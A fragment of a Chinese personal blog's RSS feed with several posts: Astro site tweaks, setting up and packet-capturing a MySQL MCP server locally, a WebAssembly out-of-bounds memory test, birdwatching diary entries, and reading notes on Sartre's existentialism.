&lt;h2&gt;首页文章图片显示位置&lt;/h2&gt;
&lt;p&gt;因为我的文章首页图都是有文字的，而默认的是居中显示缩略图导致文字被遮盖挺难受的&lt;/p&gt;
&lt;p&gt;修改 &lt;code&gt;src/components/PostCard.astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;ImageWrapper src={image} basePath={path.join(&quot;content/posts/&quot;, getDir(entry.id))} alt=&quot;Cover Image of the Post&quot;
		  position=&quot;left center&quot; 
		  class=&quot;w-full h-full&quot;&amp;gt;
&amp;lt;/ImageWrapper&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加 &lt;code&gt;position&lt;/code&gt; 属性， &lt;code&gt;left center&lt;/code&gt; 即可&lt;/p&gt;
&lt;h2&gt;定义rss的返回content-type&lt;/h2&gt;
&lt;p&gt;因为我修改了 &lt;code&gt;/feed&lt;/code&gt; 为我的rss订阅，但是部署到静态网页上会变成文件下载，比较奇怪&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/rayepeng/rayepeng.github.io/commit/72b6553c1e2f99255b91605cffe70d5a48ae77e2&quot;&gt;代码修改&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	return new Response(rssResponse.body, {
		status: 200,
		headers: {
			&quot;Content-Type&quot;: &quot;application/xml; charset=utf-8&quot;,
		},
	});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地测试确实通过 &lt;code&gt;pnpm dev&lt;/code&gt; 是可以的，但是部署到静态网页上就有点问题了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;经验证，本地静态网页生成之后也是不行的，不过目前的folo上订阅rss好像也没啥问题，那就先这样吧🤣&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;配置github action发布&lt;/h2&gt;
&lt;p&gt;目前还是用的github pages，但 &lt;a href=&quot;https://niracler.com/&quot;&gt;@niracler&lt;/a&gt; 说cloudfare pages体验更好，等后面再折腾吧&lt;/p&gt;
&lt;p&gt;github发布就非常简单，参考&lt;a href=&quot;https://docs.astro.build/zh-cn/guides/deploy/github/&quot;&gt;官方文档&lt;/a&gt; 只要在 &lt;code&gt;.github/workflows&lt;/code&gt; 目录新建 &lt;code&gt;deploy.yml&lt;/code&gt; 即可，这样再也不需要像 hexo 一样，本地build再deploy了，非常方便，也不会出现我在机器A写的文章，因为忘记push，而导致机器B无法继续写的尴尬了😅&lt;/p&gt;
</content:encoded></item><item><title>mysql mcp使用与抓包测试</title><link>https://rayepeng.net/posts/mysql-mcp-usage-and-packet-capture/</link><guid isPermaLink="true">https://rayepeng.net/posts/mysql-mcp-usage-and-packet-capture/</guid><pubDate>Wed, 29 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;环境配置&lt;/h2&gt;
&lt;p&gt;使用docker开启mysql非常方便&lt;/p&gt;
&lt;p&gt;首先开启一个mysql server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -itd --name mysql_server -p3306:3306 --rm   -e MYSQL_ROOT_PASSWORD=123456 mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后开启mysql client再通过 --link 连接到mysql server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -it --rm  --name mysql_client  --link mysql_server:mysql_server mysql mysql -hmysql_server -uroot -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--link mysql_server:mysql_server&lt;/code&gt; 这会把名为 mysql_server 的容器的 IP 地址映射到 mysql_server 这个主机名，第二个容器（mysql_client）可以通过该主机名访问第一个容器的 MySQL 服务。&lt;/p&gt;
&lt;p&gt;mcp工具选择：https://github.com/wenb1n-dev/mysql_mcp_server_pro&lt;/p&gt;
&lt;p&gt;启动：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# clone仓库
git clone https://github.com/wenb1n-dev/mysql_mcp_server_pro

#同步依赖
uv sync 

# 指定.env启动，神奇的是这里必须绝对路径
uv run -m mysql_mcp_server_pro.server --envfile /Users/rayepeng/Documents/code/ida-mcp-reverse/WeChatMiniGame_WebInstaller/.env
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;.env 文件内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# MySQL Database Configuration
MYSQL_HOST=127.0.0.1
MYSQL_PORT=3306
MYSQL_USER=root
MYSQL_PASSWORD=123456
MYSQL_DATABASE=information_schema
# Optional, default is &apos;readonly&apos;. Available values: readonly, writer, admin
MYSQL_ROLE=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;神奇的错误&lt;/h3&gt;
&lt;p&gt;不然会遇到这个神奇的错误：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ps .env 文件放在源码目录下也是不行的？好神奇&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;❯ uv run -m mysql_mcp_server_pro.server --envfile /Users/rayepeng/Documents/code/mysql_mcp_server_pro/.env
Traceback (most recent call last):
  File &quot;&amp;lt;frozen runpy&amp;gt;&quot;, line 198, in _run_module_as_main
  File &quot;&amp;lt;frozen runpy&amp;gt;&quot;, line 88, in _run_code
  File &quot;/Users/rayepeng/Documents/code/mysql_mcp_server_pro/src/mysql_mcp_server_pro/server.py&quot;, line 28, in &amp;lt;module&amp;gt;
    from .oauth import OAuthMiddleware, login, login_page
  File &quot;/Users/rayepeng/Documents/code/mysql_mcp_server_pro/src/mysql_mcp_server_pro/oauth/__init__.py&quot;, line 1, in &amp;lt;module&amp;gt;
    from .config import oauth_config
  File &quot;/Users/rayepeng/Documents/code/mysql_mcp_server_pro/src/mysql_mcp_server_pro/oauth/config.py&quot;, line 28, in &amp;lt;module&amp;gt;
    oauth_config = OAuthConfig() 
                   ^^^^^^^^^^^^^
  File &quot;/Users/rayepeng/Documents/code/mysql_mcp_server_pro/.venv/lib/python3.11/site-packages/pydantic_settings/main.py&quot;, line 193, in __init__
    super().__init__(
  File &quot;/Users/rayepeng/Documents/code/mysql_mcp_server_pro/.venv/lib/python3.11/site-packages/pydantic/main.py&quot;, line 250, in __init__
    validated_self = self.__pydantic_validator__.validate_python(data, self_instance=self)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
pydantic_core._pydantic_core.ValidationError: 6 validation errors for OAuthConfig
MYSQL_HOST
  Extra inputs are not permitted [type=extra_forbidden, input_value=&apos;127.0.0.1&apos;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_PORT
  Extra inputs are not permitted [type=extra_forbidden, input_value=&apos;3306&apos;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_USER
  Extra inputs are not permitted [type=extra_forbidden, input_value=&apos;root&apos;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_PASSWORD
  Extra inputs are not permitted [type=extra_forbidden, input_value=&apos;123456&apos;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_DATABASE
  Extra inputs are not permitted [type=extra_forbidden, input_value=&apos;information_schema&apos;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_ROLE
  Extra inputs are not permitted [type=extra_forbidden, input_value=&apos;admin&apos;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用体验&lt;/h2&gt;
&lt;p&gt;非常方便，这样对于开发后端的web应用来说会更加方便了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/20251029125938.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;抓包测试&lt;/h2&gt;
&lt;p&gt;好奇这里是怎么实现的数据通信，抓包测试下&lt;/p&gt;
&lt;p&gt;最简单的抓包就是转发本地端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;socat -v -x TCP-LISTEN:8081,fork TCP:localhost:3000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是把本地的8081端口转发到3000，记得修改下mcp.json里的配置(因为这个mcp用的是HTTP streamable通信)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;mysql_mcp_server_pro&quot;: {
  &quot;name&quot;: &quot;mysql_mcp_server_pro&quot;,
  &quot;type&quot;: &quot;streamableHttp&quot;,
  &quot;description&quot;: &quot;&quot;,
  &quot;isActive&quot;: true,
  &quot;url&quot;: &quot;http://localhost:8081/mcp/&quot;
},
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;改端口就行了，路径会自动带上，非常有意思&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ping数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/202510291301522.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行mysql命令 use demo_db&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/202510291301557.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行 execute_sql&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/202510291301076.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;这里的抓包比较直观，可以用用里面的工具
&lt;a href=&quot;https://www.51cto.com/article/814303.html&quot;&gt;从抓包看 MCP：AI 工具调用背后的通信机制&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;想法&lt;/h2&gt;
&lt;p&gt;既然这样，那完全就可以打造多个agent之间的联合，输入一个任务，背后自动调用各种mcp工具解决问题&lt;/p&gt;
&lt;p&gt;这背后依赖的是一个客户端？ 还是什么，我想开发一个网页，然后能够调用这个sse的 mcp tool&lt;/p&gt;
&lt;p&gt;现在研究的都还是mcp server，mcp client还需要进一步研究：&lt;/p&gt;
&lt;p&gt;那就又是另一个事情了&lt;/p&gt;
</content:encoded></item><item><title>周报37 重新拾起的写作</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A537-%E9%87%8D%E6%96%B0%E6%8B%BE%E8%B5%B7%E7%9A%84%E5%86%99%E4%BD%9C/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A537-%E9%87%8D%E6%96%B0%E6%8B%BE%E8%B5%B7%E7%9A%84%E5%86%99%E4%BD%9C/</guid><pubDate>Sun, 06 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/20251028214602.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;已经有4个月没有好好开始写作了，其实这段时间里，有很多值得被记录的事情，但总是提不起劲来写，人总是有惯性的，这种惯性的力量之于我仿佛更加强大。&lt;/p&gt;
&lt;p&gt;做一件事，冷启动是最难的，与之对应的，热停止也是很难的（hhh我造的词），但只要迈过了这个坎，就能如同冰雪消融后的春天到来一般美好。&lt;/p&gt;
&lt;p&gt;也不扯太多有的没的了，我还是想坚持记录下自己的想法和生活经历，但与之前不同，这次的首发平台我选择了medium，不再是xlog了，不过也会同步更新文章上去。&lt;/p&gt;
&lt;p&gt;xlog之前有几次不太好的体验，比如存储草稿没办法多端同步，比如评论区的管控，还有之前点击发布文章之后就会发布好多重复的，这些让我很困恼，但是也没有心思去反馈了，xlog确实是我非常喜欢的平台。&lt;/p&gt;
&lt;h2&gt;写作平台切换&lt;/h2&gt;
&lt;p&gt;这次我选择了medium，这也是我一直非常喜欢的一个平台，虽然这里面的文章有时候给我一种标题党的感觉，但这个简洁优雅的平台还是让我有种被吸引住的感觉，我没有什么心思去吹有多好的体验hh，因为感觉很容易被打脸，但目前阶段，我还是觉得web2的体验比web3好太多了，可能是我真的被监管给pua的吧hh&lt;/p&gt;
&lt;p&gt;写作内容还是以技术文章+生活文章为主，离别歌大佬曾今写过这段话，我认为值得多次品读：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;经常有人问我，我是怎么成长起来的。我今天在这里分享一个最简单的答案：对技术，我是有目标的，我的目标很简单，就是让我的博客不停更。如果有一段时间我博客一个月没有新文章，我就会特别着急，我会想我能研究什么东西，然后写一篇日记。
当然，慢慢的我发现，自己经常会有时间研究各种东西（不用愁没有东西写），当然也会失败，失败并不可怕，可怕的是没有竭尽全力就半途而废。我也做过很多半途而废的事情，也说过很多不负责的言论，但这些点滴都在我的博客里我永远不会删。
安全界有个很知名的理论：“不能够相信用户的所有输入”，但我坚决不支持这句话被放到现实生活中，我选择相信而不是怀疑。怀疑的生活会变得很累，如果你总是考虑怎样去防范他人。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实我也没有什么自己的思考，在停止更新的这段时间里，基本上也是用flomo来进行记录及日常回顾的，我也只是一个不断吸收信息然后过滤再转述的人罢了。&lt;/p&gt;
&lt;p&gt;正好我在写这篇文章的过程中，发现medium又开始提示我保存失败了，估计是又检测到了什么关键词之类的吧。。。放弃了，果然被打脸了&lt;/p&gt;
&lt;p&gt;那我还是重新回到typora的写作吧，目前的写作方案就是typora写作，picgo+腾讯云cos作为图床存储，再使用坚果云备份文章（坚果云有1G上传流量，对于纯文本来说绝对是够用了，其实一直想搞个nas的，但奈何家里网络条件太差了）&lt;/p&gt;
&lt;h2&gt;莲花山打鸟&lt;/h2&gt;
&lt;p&gt;非原图，原图太大了，我怕CDN流量超标hhh，都是朋友圈压缩过后的，所以噪点会比较多&lt;/p&gt;
&lt;p&gt;周五晚上没睡好加上空调温度太低，导致我早上起来极度不适，于是索性休了一天年假，在家宅了下，死亡搁浅的进度推进不是很多。&lt;/p&gt;
&lt;p&gt;休息一天还是会让自己心情好点，并且睡眠质量也得到了恢复。周六一大早，六点二十左右，当一般打工人还在睡梦中的时候，我已经带着我的相机前往莲花山去找小鸟了&lt;/p&gt;
&lt;p&gt;林鸟其实是很难拍的，因为林鸟普遍都藏在山高林密的树丛里，走在山间的小路上，空气很是清新，但其实这时候只是空气清新而已，氧气浓度并不是很高（这是很简单的生物学知识，因为晚上植物都是在进行呼吸作用的呀哈哈哈）&lt;/p&gt;
&lt;p&gt;但我还是想挑战下林鸟的拍摄，提前在小红书上找好了攻略，其实也就是一些经验贴，但并不能保证自己就能遇到的刚刚好，在漾日湖边找了找，只看到几只天鹅，于是继续往山里进发&lt;/p&gt;
&lt;p&gt;树林荫翳，鸣声上下，只有在山中才能体会到欧阳修笔下这句话的意境&lt;/p&gt;
&lt;p&gt;欸那只，学名叫斑颈穗（sui）鹛（mei），毛的颜色和树枝很像，让本就因早起而视线模糊的我分辨了好久&lt;/p&gt;
&lt;p&gt;但是林鸟真的太难找了，我走了好久，明明听到了好多只的叫声，但就是找不到，正当我准备放弃的时候，抬头一看，枝头上停了一只红耳鹎（bei），红色的小点点点在眼睛正下方，真的好漂亮哈哈哈（但还是没有小翠漂亮/doge）&lt;/p&gt;
&lt;p&gt;还是准备考虑购入一个望远镜了，纯靠肉眼和相机定位有时候挺困难的，望远镜的视野更大，更方便找鸟，不过还是等我多出去拍拍吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/20251028214653.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;满格家吃饭饭！&lt;/p&gt;
&lt;p&gt;继5.2去满格家玩之后，再一次又去满格家蹭饭了，这次还带上了我的switch，相机及无人机（东西有点点多）&lt;/p&gt;
&lt;p&gt;顺带一提，switch的玛利欧派对游戏，直接把我和hh给整崩溃了哈哈哈，我们的运气也太差了吧&lt;/p&gt;
&lt;p&gt;但不管怎样，满格的手艺是不会让我们失望的，下图如果不说是在满格家，会真的以为是在饭店啊！&lt;/p&gt;
&lt;p&gt;z8+24120拍摄，非原图，微信朋友圈已经帮我压缩过一遍了&lt;/p&gt;
&lt;p&gt;与买桂花同载酒，终不似，少年游~&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/IMG_5853.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;当然还少不了可爱的冲冲：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/73cc2d317a89c9d3a7b5e6fcb1fb1b18.jpg&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/0132b751e7fcd02eeb82af101217002e.jpg&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;以及没有迟到的晚霞，当天都下了一阵雨，我们听着外面的雨声，在房间里玩三国杀和switch游戏，临近7点时，我从窗户边看向天空，发现天空竟然意外的蓝，于是果断上楼，终究还是没有错过绝美的晚霞&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/dji_export_20250706_photo_0006.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/dji_fly_20250705_192758_0098_1751737603206_photo.jpg&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>《存在主义是一种人道主义》读后记录</title><link>https://rayepeng.net/posts/cunzaizhuyi1/</link><guid isPermaLink="true">https://rayepeng.net/posts/cunzaizhuyi1/</guid><pubDate>Thu, 03 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;引言&lt;/h2&gt;
&lt;p&gt;《存在主义是一种人道主义》这本书其实是萨特的一篇演讲稿，正如作者在开头所说到的，“是针对几种存在主义的责难为他辩护”，有人认为存在主义是一种悲观的学说，“鼓励人们对人生采取无所作为的绝望态度”。而共产党人则批判存在主义给了人太多选择，这是一种犹豫不决的“观望”，是“另一种资产阶级哲学”。萨特为了回应这些责难，在这篇文章中深入地探讨了存在主义的核心思想————存在先于本质，人是自由的、选择塑造自我，以及选择如何影响他人与世界。&lt;/p&gt;
&lt;h2&gt;存在先于本质：英雄还是懦夫，你自己选择罢&lt;/h2&gt;
&lt;p&gt;“存在先于本质”，但凡了解过存在主义的人基本都听过这句话，但这句话又经常被人误解。其实很简单：人并不是被预先设定好的成品。我举个再简单不过的例子吧，我们这些上班族，整天说自己是牛马，是打工人，但其实没有任何人能定义我们的本质，我们之所以成为牛马，成为打工人，其实都是我们自身的选择。&lt;/p&gt;
&lt;p&gt;“没有任何人”，即不存在上帝，传统观念认为，人由上帝创造，带着固定的“本质”——比如理性、道德或善良，就像工匠制造裁纸刀时心中已有刀的用途和形状。就像我们传统文化中，孟子宣扬”人性本善”，荀子宣扬“人性本恶”，存在主义则直接掀翻了这个桌子：没有上帝，没有预设的本质，没有所谓性本善，性本恶，人只是先“存在”，然后通过自己的选择，逐渐塑造出自己的“本质”&lt;/p&gt;
&lt;p&gt;举个例子，你是英雄还是懦夫？不是天生的，而是你通过一次次选择决定的。比如，你选择在危急时刻挺身而出，你就成为了英雄；选择退缩，你可能就成为了懦夫。正如萨特所说：“人除了自己认为的那样以外，什么都不是。” 这不仅意味着你是你所认为的模样，更是你愿意成为的模样。你的人生是你主动设计的结果，而不是被动的命运安排。&lt;/p&gt;
&lt;p&gt;这种观点让人一下子解放出来，但是又让人感到无所适从，你看上去似乎有无限地可能去塑造自己，萨特在书中讲了一个笑话，一位“因为说了句脏话就自称存在主义者”的老太太，她的选择——即使是满口脏话——也是她对自己人生的定义。&lt;/p&gt;
&lt;p&gt;那么真的是这样吗？存在主义就是在鼓励人们夜夜笙歌，即时享乐，追求自由吗？&lt;/p&gt;
&lt;h2&gt;自由的代价： 你以为的礼物，命运早已标好了价格&lt;/h2&gt;
&lt;p&gt;萨特在书中表明了自己的观点，存在主义的自由并非轻松的礼物，而是一份沉重的责任。因为没有上帝、没有预设的道德准则、人必须独自面对选择，并且承担后果。&lt;/p&gt;
&lt;p&gt;萨特用一个军事领袖的例子说明了这种“痛苦”：一个指挥官接到进攻的命令，但他必须决定如何执行，多少士兵的生命将取决于他的判断。他无法逃避选择，也无法完全推卸责任，因为即使“服从命令”也是一种选择。&lt;/p&gt;
&lt;p&gt;再比如，想象你是一名医生，面对一位癌症晚期患者：做高风险手术可能带来20%的生存希望，但也有30%的死亡风险；不做手术，患者可能只剩三个月生命。你必须选择，而选择的结果可能带来巨大的心理负担。这种“没有标准答案”的处境，正是存在主义所谓的“痛苦”。&lt;/p&gt;
&lt;p&gt;正如萨特所说：“所有的领袖都懂得这种痛苦。它阻止不了他们采取行动；相反，它是他们行动的真正条件。”&lt;/p&gt;
&lt;p&gt;这种痛苦并非消极的绝望，而是行动的前提。因为人必须向前走，即使不选择也是一种选择。你无法停滞，只能通过行动定义自己。&lt;/p&gt;
&lt;h2&gt;他人即地狱：你的自由影响世界，他人的自由也在影响你&lt;/h2&gt;
&lt;p&gt;存在主义的另一个核心观点是：你的选择不仅塑造了自己，也在塑造他人，甚至整个世界。&lt;/p&gt;
&lt;p&gt;萨特认为，当你选择成为某种人时，你在心中树立了一个“人应该如此”的形象。比如，你选择做一个诚实的人，你不仅在塑造自己的诚实，也在向世界宣告“人应该诚实”。反过来，如果你选择做坏事，你也得扪心自问：如果人人都这样做，世界会变成什么样？&lt;/p&gt;
&lt;p&gt;这种相互影响要追溯到现象学了，比如你看到的苹果是红色的，别人大概率也是如此；你面对的困境，比如学业压力或职场挫折，别人也可能感同身受。因此，你的行动会成为他人的参照，就像有人在大街上抬头望天，周围的人也会不自觉地跟着看。&lt;/p&gt;
&lt;p&gt;这种“他人即地狱，他人亦天堂”的悖论，揭示了我们生活在一个“主观性林立”的世界里：每个人的自由选择都在相互映射、相互影响。&lt;/p&gt;
&lt;p&gt;萨特举例说：“我在创造一种我希望人人都如此的人的形象。在模铸自己时，我模铸了人。”&lt;/p&gt;
&lt;p&gt;这意味着，你的每一次选择都在为人类书写一个可能的未来。伟人如甘地、马克思，他们的选择不仅定义了自己，也为人类的解放树立了榜样。你呢？你希望成为什么样的人？你的选择又将如何影响他人？&lt;/p&gt;
&lt;h2&gt;没有借口：自由与责任的不可分割&lt;/h2&gt;
&lt;p&gt;存在主义的自由是彻底的，但也因此令人不安。你无法用“天生如此”或“环境所迫”来为自己开脱。比如，一个将军如果把失败归咎于“上级的命令”，他就是在逃避自由，萨特称之为“懦夫”。同样，如果你说“我本可以成功，只是没有机会”，存在主义会反驳：你没有行动，所以你没有那种“成功的本质”。莫言、余华的天才体现在他的作品中，离开了行动，天才不过是空谈。&lt;/p&gt;
&lt;p&gt;这种彻底的自由意味着，你必须为自己的选择负全责。萨特说：“没有任何普遍的道德准则能指点你应当怎样做：世界上没有任何的天降标志。”&lt;/p&gt;
&lt;p&gt;你咨询别人时，其实早已在心中选择了你想听的答案，就像《解忧杂货店》里的老爷爷所说：人们来问建议时，其实已经有了答案。这再次提醒我们：选择是你自己的，责任也是你自己的。&lt;/p&gt;
&lt;h2&gt;存在主义的乐观：行动创造意义&lt;/h2&gt;
&lt;p&gt;尽管存在主义强调自由的痛苦和责任的沉重，它却是一种乐观的哲学。为什么？因为它相信人可以通过行动创造意义。&lt;/p&gt;
&lt;p&gt;基督教的绝望源于“被上帝抛弃”，而存在主义的“绝望”却是对自由的清醒认识：你必须靠自己赋予人生意义。&lt;/p&gt;
&lt;p&gt;萨特说：“存在主义是乐观的。它是一个行动的学说。” 人生的意义不在于预设的本质，而在于你通过行动不断书写的故事。&lt;/p&gt;
&lt;p&gt;你的每一次选择、每一次行动，都是在塑造你自己。你是你的经历、你的情感、你的痛苦与欢乐的总和。&lt;/p&gt;
&lt;p&gt;正如萨特所说：“一个人不多不少就是他的一系列行径。”&lt;/p&gt;
&lt;p&gt;你接触过的人、走过的路、吃过的烧烤摊、迷失过的夜晚，都构成了此刻的你。而未来，你依然可以通过选择去成为你想成为的模样。&lt;/p&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;总结下萨特的观点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;存在主义绝对不是让人沉溺于绝望的学说，相反，它唤醒了我们的自由，并告诉我们，人没有固定的本质，只有通过不断的选择和行动，我们才能定义自己&lt;/li&gt;
&lt;li&gt;存在主义的自由绝不是放纵的自由，而是沉重的负担，也是无限的可能性。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最后以萨特的话来结尾吧：“你是自由的，所以你选择吧——这就是说，去发明吧。”&lt;/p&gt;
&lt;p&gt;ps. 当然你也可以选择不读这篇文章，一切取决于你，不过都读到这里了，求个赞不过分吧哈哈&lt;/p&gt;
</content:encoded></item><item><title>wasm内存访问研究</title><link>https://rayepeng.net/posts/wasm%E5%86%85%E5%AD%98%E8%AE%BF%E9%97%AE%E7%A0%94%E7%A9%B6/</link><guid isPermaLink="true">https://rayepeng.net/posts/wasm%E5%86%85%E5%AD%98%E8%AE%BF%E9%97%AE%E7%A0%94%E7%A9%B6/</guid><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;wasm内存访问研究&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;title: wasm内存访问研究
tags:&lt;/h2&gt;
&lt;p&gt;wasm内存越界读写测试&lt;/p&gt;
&lt;p&gt;手工编写一个wasm模块，wat代码如下:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;声明需要一段内存空间&lt;/li&gt;
&lt;li&gt;暴露两个函数，写内存和读内存，之后在js代码中调用&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;(module
  ;;声明需要提供内存
  (import &quot;env&quot; &quot;memory&quot; (memory 1 2)) ;; 初始 1 页，最大 2 页

  ;; 写入 i32 到内存[offset]
  (func (export &quot;writeToMemory&quot;) (param i32) (param i32)
    (i32.store
      (local.get 0)
      (local.get 1)
    )
  )

  ;; 从内存[offset] 读取 i32
  (func (export &quot;readFromMemory&quot;) (param i32) (result i32)
    (i32.load
      (local.get 0)
    )
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后编译为为wasm模块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wat2wasm memory_test.wat -o memory_test.wasm 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编写js代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const fs = require(&apos;fs&apos;);

(async () =&amp;gt; {
  const memory = new WebAssembly.Memory({ initial: 1, maximum: 2 });

  const importObject = {
    env: {
      memory: memory
    }
  };
  // 读取wasm，分配内存
  const wasmBuffer = fs.readFileSync(&apos;./memory_test.wasm&apos;);
  const wasmModule = await WebAssembly.instantiate(wasmBuffer, importObject);

  const { writeToMemory, readFromMemory} = wasmModule.instance.exports;

  const inBoundsOffset = 65532; // 正常偏移
  const outOfBoundsOffset = 70000; // 越界偏移

  // 测试正常写入和读取
  writeToMemory(inBoundsOffset, 123456);
  console.log(&quot;读取数据:&quot;, readFromMemory(inBoundsOffset));

  try {
    // 👇 试图越界写入
    console.log(&quot;尝试越界写数据&quot;);
    writeToMemory(outOfBoundsOffset, 999);
  } catch (err) {
    console.error(&quot;越界写错误:&quot;, err.message);
    console.log(err);
  }

  try {
    // 👇 试图越界读取
    console.log(&quot;尝试越界读数据&quot;);
    console.log(readFromMemory(outOfBoundsOffset));
  } catch (err) {
    console.error(&quot;越界读错误:&quot;, err.message);
    console.log(err);
  }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行结果，可以发现此时是报错的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ node main.js
读取数据: 123456
尝试越界写数据
越界写错误: memory access out of bounds
RuntimeError: memory access out of bounds
    at wasm://wasm/488cc87e:wasm-function[0]:0x59
    at /Users/rayepeng/Documents/code/wasm-memory-test/main.js:26:5
尝试越界读数据
越界读错误: memory access out of bounds
RuntimeError: memory access out of bounds
    at wasm://wasm/488cc87e:wasm-function[1]:0x61
    at /Users/rayepeng/Documents/code/wasm-memory-test/main.js:35:17
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报38 汕尾之行</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A538-%E6%B1%95%E5%B0%BE%E4%B9%8B%E8%A1%8C/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A538-%E6%B1%95%E5%B0%BE%E4%B9%8B%E8%A1%8C/</guid><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报38 汕尾之行&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;title: 周报38 汕尾之行
tags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;打鸟&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmNUY2m12E9HLaDppvRHfv4giSPRaQGXpJfLcB4Zq1THed.png&quot; alt=&quot;11211&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是一篇拾遗文章，作为我的回忆补充&lt;/p&gt;
&lt;p&gt;跟着山羊老师一起去汕尾吃喝玩乐+观鸟~&lt;/p&gt;
